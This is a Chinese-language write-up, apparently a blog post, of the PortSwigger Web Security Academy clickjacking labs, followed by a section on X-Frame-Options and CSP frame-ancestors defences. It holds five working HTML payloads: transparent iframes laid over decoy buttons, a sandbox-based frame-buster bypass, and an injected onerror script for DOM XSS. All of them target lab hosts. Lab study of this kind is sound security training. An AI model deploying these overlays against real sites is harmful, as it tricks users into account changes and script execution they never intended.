PortSwigger 点击劫持(Clickjacking)
一、什么是点击劫持
点击劫持(Clickjacking)是一种利用Web页面层叠的透明图层技术的攻击方式。攻击者将有害的网站内容覆盖在一个看似无害的页面上,当用户点击看似无害页面时,实际上是触发了隐藏在下层的有害操作,如下载恶意软件、操纵用户账户等。
这种攻击方式通常被用于社交工程攻击、网络钓鱼以及其他种类的诈骗活动中。点击劫持攻击往往难以被用户察觉,因为用户认为他们点击了无害页面上的链接,而实际上却做了完全不同的事情。
二、利用方式
1、使用 CSRF 令牌保护的基本点击劫持
<style>iframe {position:relative;width:500px;height: 700px;#透明度opacity: 0.001;z-index: 2;}div {position:absolute;top:500px ;left: 59px;z-index: 1;}
</style>
#构造页面
<div>Click me</div>
#攻击页面
<iframe src="https://0a75006703037302c2f28a29008e001f.web-security-academy.net/my-account"></iframe>
2、使用从 URL 参数预填充的表单输入数据的点击劫持
<style>iframe {position:relative;width:500px;height: 700px;opacity: 0.001;z-index: 2;}div {position:absolute;top:450px ;left: 59px;z-index: 1;}
</style>
<div>Click me</div>
<iframe src="https://0a4f001a038b7f06c4cdac0b00160045.web-security-academy.net/my-account?email=edeeer@normal-user.net"></iframe>
3、使用帧破坏脚本进行点击劫持
sandbox="allow-forms" 表示在受到 sandbox 约束的 iframe 中允许表单提交。如果不设置此项,受到约束的 iframe 中的表单将无法提交。
<style>iframe {position:relative;width:500px;height: 700px;opacity: 0.001;z-index: 2;}div {position:absolute;top:450px ;left: 59px;z-index: 1;}
</style>
<div>Click me</div>
<iframe src="https://0ab700e70475ee95c127c62e00900017.web-security-academy.net/my-account?email=edeeer@normal-user.net" sandbox="allow-forms"></iframe>
4、利用点击劫持漏洞触发基于 DOM 的 XSS
<style>iframe {position:relative;width:500px;height: 900px;opacity: 0.001;z-index: 2;}div {position:absolute;top:795px ;left: 59px;z-index: 1;}
</style>
<div>Click me</div>
<iframe src="https://0ac1009e03c60905c1938589009800a3.web-security-academy.net/feedback/?name=<img src=1 onerror=print()>&email=1231@qq.com&subject=qweqw&message=sdfsdf" ></iframe>
5、多步骤点击劫持
<style>
iframe {position:relative;width:500px;height: 700px;opacity: 0.0001;z-index: 2;}.firstClick, .secondClick {position:absolute;top:500px;left:60px;z-index: 1;}.secondClick {top:290px;left:200px;}
</style>
<div class="firstClick">Click me firstfirst</div>
<div class="secondClick">Click me next</div>
<iframe src="https://0a7b00fe04eeb63ac01536df008d0055.web-security-academy.net/my-account" ></iframe>
三、防御方式
1、X-Frame-Options
X-Frame-Options 最初是在 Internet Explorer 8 中作为非官方响应标头引入的,并迅速被其他浏览器采用。标头为网站所有者提供了对 iframe 或对象的使用的控制。
浏览器不允许当前页面在任何情况下嵌入到任何网站中:
X-Frame-Options: deny
浏览器允许当前页面在相同域名下的网站中显示:
X-Frame-Options: sameorigin
浏览器允许当前页面在指定的 URI 下的网站:
X-Frame-Options: allow-from https://normal-website.com
2、 内容安全策略 (CSP)
内容安全策略 (CSP) 是一种检测和预防机制,通过控制浏览器中加载的内容针对 XSS 和点击劫持等攻击提供缓解措施。
CSP 的基本思想是允许网站所有者定义一份策略清单,明确指定允许哪些来源的内容被加载和执行,拒绝其余的来源。
CSP 可以通过 HTTP响应头中的 Content-Security-Policy 或者 X-Content-Security-Policy 字段来设置,其值为一段规则字符串,规则字符串由一个或多个指令组成,指令可以通过分号或逗号来分隔。
- frame-ancestors:该指令用于限制哪些页面可以在 <frame>、<iframe>、<embed> 和 <object> 元素中嵌入该网站的内容。
- Content-Security-Policy: frame-ancestors 'none';完全禁止其他网站嵌入该网站的内容。
- Content-Security-Policy: frame-ancestors 'self’;允许在与当前页面相同域名网站中显示。
- Content-Security-Policy: frame-ancestors normal-website.com;允许在指定白名单域名网站中显示。
其他配置:
- qdefault-src:定义默认资源来源,如果某个资源没有指定来源,则会使用默认来源。
- script-src:定义可信任的脚本来源。
- style-src:定义可信任的样式表来源。
- img-src:定义可信任的图片来源。
- connect-src:定义可信任的XHR(XMLHttpRequest)来源。
- frame-src:定义可信任的iframe来源。
- font-src:定义可信任的字体来源。
- media-src:定义可信任的音视频来源。
PortSwigger 点击劫持(Clickjacking)相关推荐
- 点击劫持ClickJacking
原文:https://beenle-xiaojie.github.io/2019/01/07/ClickJacking/ 引言 当我们的页面嵌入到一个iframe中时,安全测试提出一个于我而言很新鲜的 ...
- web 点击劫持 X-Frame-Options
原理解释 点击劫持,clickjacking,也被称为UI-覆盖攻击.这个词首次出现在2008年,是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼首创的. 它是通过覆盖不可见的框架误导受害者点击. 虽 ...
- web安全之点击劫持攻击(clickjack)
点击劫持clickjack 点击劫持 (Clickjacking) 技术又称为界面伪装攻击 (UI redress attack ),是一种视觉上的欺骗手段.攻击者使用一个或多个透明的 iframe ...
- html 设置响应X-frame,X-Frame-Options(点击劫持)漏洞分析及web配置修复
漏洞描述: 点击劫持(ClickJacking)是一种视觉上的欺骗手段.攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在网页上进行操作,此时用户将在不知情的情况下点击透明的ifram ...
- X-Frame-Options响应头防点击劫持
文章目录 前言 点击劫持 恶意转账 刷点击量 防护手段 HTTP响应头 实际防护效果 漏洞的检测 HTTP标题 X-XSS-Protection 前言 在一些漏扫设备中经常会扫出一个低风险问题--&q ...
- Web安全之点击劫持(ClickJacking)
目录 iframe覆盖 直接示例说明 解决办法 Apache配置: nginx配置: IIS配置: 图片覆盖 示例 解决办法 总结 点击劫持(ClickJacking)是一种视觉上的欺骗手段.大概有两 ...
- Clickjacking (UI redressing)点击劫持
一.基础知识 1. 什么是Clickjacking 点击劫持是一种基于界面的攻击,通过点击诱骗网站中的其他内容,用户被诱骗实际点击了隐藏的可操作内容. 可能是电子邮件中的链接,引诱用户点击按钮即可赢得 ...
- 《白帽子讲web安全》第5章 点击劫持(ClickJacking)
一.ClickJacking简介 点击劫持(ClickJacking):是一种视觉上的欺骗手段,攻击者使用一个透明的.不可见的iframe覆盖在网页上,并诱使用户在该网页上进行操作.(用户在不知情的情 ...
- 鼠标自动点击脚本_613个主流网站中发现点击劫持脚本
香港中文大学.微软研究院.韩国首尔大学和宾夕法尼亚大学的研究人员对点击劫持进行了研究,发现有613个主流网站存在拦截用户点击的恶意脚本. Clickjacking即点击劫持,已经广泛应用于广告行业了, ...
最新文章
- Datawhale实验室
- PHP采集商家信息及采集方法概述(上)
- javascript date php date,JavaScript Date 知识浅析
- 优酷 米兔机器人_ONEBOT积木机器人上手评测,寓教于乐的反履机甲让孩子爱不释手...
- PHP 文件与目录操作
- node制作http服务器,NodeJS 搭建 HTTP 服务器
- 06-列空间和零空间
- SpringBoot笔记7:使用JavaMail结合RabbitMQ发送邮件
- Java基础入门(八)之面向对象二
- Java集合---概述(1)
- python格式化JSON结果打印
- 上机练习2 类与对象 pc cpu harddisk对象组合
- JAVA - 银行卡认证
- psm倾向得分匹配法举例_【计量地图】倾向得分匹配法(PSM)理论、操作与案例...
- 并行计算(三):并行计算效能的评估
- STM32f103系列和f107系列移植
- adb 不可以网络连接问题
- passwd_pro
- 关系数据理论(回顾关系模式、数据依赖、不规范的关系模式存在的问题、 函数依赖、非平凡函数依赖/平凡函数依赖、完全函数依赖/部分函数依赖定义、传递函数依赖,码)
- python123注册登录_用Python实现web端用户登录和注册功能的教程
热门文章
- 查询SAP表维护视图(Table Maintenance)对应的事务代码(T-CODE)
- 搭win建中转服务器,【图片】windows搭建服务器教程【异星工厂吧】_百度贴吧
- [心里有鬼大调查]看看你心仪的人与你真正想要的人是否一致? 并祝所有CSDN的会员三.八节 快乐!
- 柏拉图—苏格拉底悖论
- Device Tree语法(上)
- 三维重建工具001-——正确安装kaolin库并在SMR上运行
- PageHelper.startPage(pageNum, pageSize)相关问题(遇到问题解决后持续更新)
- python频谱分析_基于Python的频谱分析(一)
- 解读随机森林的决策树:揭示模型背后的奥秘
- 使用VS2010开发ActiveX(MFC)控件(2)——界面显示